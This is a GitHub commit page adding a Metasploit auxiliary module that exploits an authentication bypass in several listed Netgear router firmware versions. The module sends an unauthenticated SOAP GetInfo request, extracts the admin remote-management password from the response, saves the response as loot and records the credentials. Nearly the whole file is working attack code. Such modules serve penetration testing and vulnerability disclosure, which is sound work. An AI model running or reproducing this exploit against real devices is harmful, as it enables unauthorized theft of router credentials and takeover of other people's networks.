Skip to content

Commit ce697ee

Browse files
author
m-1-k-3
committed
netgear soap password extractor
1 parent b6df023 commit ce697ee

File tree

1 file changed

+96
-0
lines changed

1 file changed

+96
-0
lines changed
Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
13+
def initialize
14+
super(
15+
'Name' => 'Netgear Unauthenticated SOAP Password Extractor',
16+
'Description' => %q{
17+
This module exploits an authentication bypass vulnerability in different
18+
Netgear devices. With this vulnerability you are able to extract the password
19+
for the remote management. The following devices are reported as vulnerable:
20+
NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88
21+
NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas)
22+
NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz)
23+
NetGear WNDR3700v1 - V1.0.7.98 (Tested by Michal Bartoszkiewicz)
24+
NetGear WNDR4300 - V1.0.1.60 (Tested by Ronny Lindner)
25+
NetGear R6300v2 - V1.0.3.8 (Tested by Robert Mueller)
26+
NetGear WNDR3300 - V1.0.45 (Tested by Robert Mueller)
27+
NetGear WNDR3800 - V1.0.0.48 (Tested by an Anonymous contributor)
28+
NetGear WNR1000v2 - V1.0.1.1 (Tested by Jimi Sebree)
29+
NetGear WNR1000v2 - V1.1.2.58 (Tested by Chris Boulton)
30+
},
31+
'References' =>
32+
[
33+
[ 'URL', 'https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR' ]
34+
],
35+
'Author' =>
36+
[
37+
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery
38+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
39+
],
40+
'License' => MSF_LICENSE
41+
)
42+
end
43+
44+
def run
45+
print_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
46+
47+
soapaction = "urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo"
48+
49+
print_status("Sending exploit to victim.")
50+
begin
51+
res = send_request_cgi({
52+
'method' => 'POST',
53+
'uri' => "/",
54+
'headers' => {
55+
'SOAPAction' => soapaction,
56+
},
57+
'data' => "=",
58+
})
59+
60+
return if res.nil?
61+
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\/2.6.15 uhttpd\/1.0.0 soap\/1.0/)
62+
return if (res.code == 404)
63+
64+
65+
if res.body =~ /<NewPassword>(.*)<\/NewPassword>/
66+
print_good("#{peer} - credentials successfully extracted")
67+
68+
#store all details as loot -> there is some usefull stuff in the response
69+
loot = store_loot("netgear_soap_accoutn.config","text/plain",rhost, res.body)
70+
print_good("#{peer} - Account details downloaded to: #{loot}")
71+
72+
res.body.each_line do |line|
73+
if line =~ /<NewPassword>(.*)<\/NewPassword>/
74+
pass = $1
75+
vprint_good("user: admin")
76+
vprint_good("pass: #{pass}")
77+
78+
report_auth_info(
79+
:host => rhost,
80+
:port => rport,
81+
:sname => 'http',
82+
:user => 'admin',
83+
:pass => pass,
84+
:active => true
85+
)
86+
end
87+
end
88+
end
89+
rescue ::Rex::ConnectionError
90+
vprint_error("#{peer} - Failed to connect to the web server")
91+
return
92+
end
93+
94+
95+
end
96+
end

0 commit comments

Comments
 (0)